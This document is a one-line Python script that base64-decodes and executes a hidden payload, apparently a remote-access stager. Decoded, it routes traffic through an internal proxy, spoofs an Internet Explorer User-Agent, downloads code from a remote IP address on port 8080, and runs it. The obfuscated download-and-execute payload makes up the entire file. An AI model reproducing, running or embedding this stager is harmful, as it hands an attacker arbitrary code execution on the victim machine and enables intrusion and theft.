import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnUHJveHlIYW5kbGVyJ10pCmhzPVtdCmhzLmFwcGVuZCh1bC5Qcm94eUhhbmRsZXIoeydodHRwJzonaHR0cDovLzEwLjIxMy41LjE4OjMxMjgnfSkpCm89dWwuYnVpbGRfb3BlbmVyKCpocykKby5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLCdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJyldCmV4ZWMoby5vcGVuKCdodHRwOi8vMTg1LjE2My4xNTYuMTUwOjgwODAvemRWUFVtdlplNnFPVlp0QjAyTk5rd2NVYkpWZWxQMjFjR2NNTlk3bnp4azQ2YUxPWHNIenZFeWpmMjRTUnB3c2EzRzZfei15MVhnTzlQem9tWjZ3bnc4Z0NZV3RycXYwejlwYzRMZmhiekx3SzRDN3lEU25yd2hILTFTQmktd2pfNmdFQVR1OFdyUDgxM0hJNG82V19oWUNGenFGaFRlLWFScFFxTEZyOUZOUjM2UHRqRUd0ZEtxcXNzVDRpNTd5Y3BfYVN4OTBQZ1o1OGNBcTRrT0prb20nKS5yZWFkKCkpCg==')))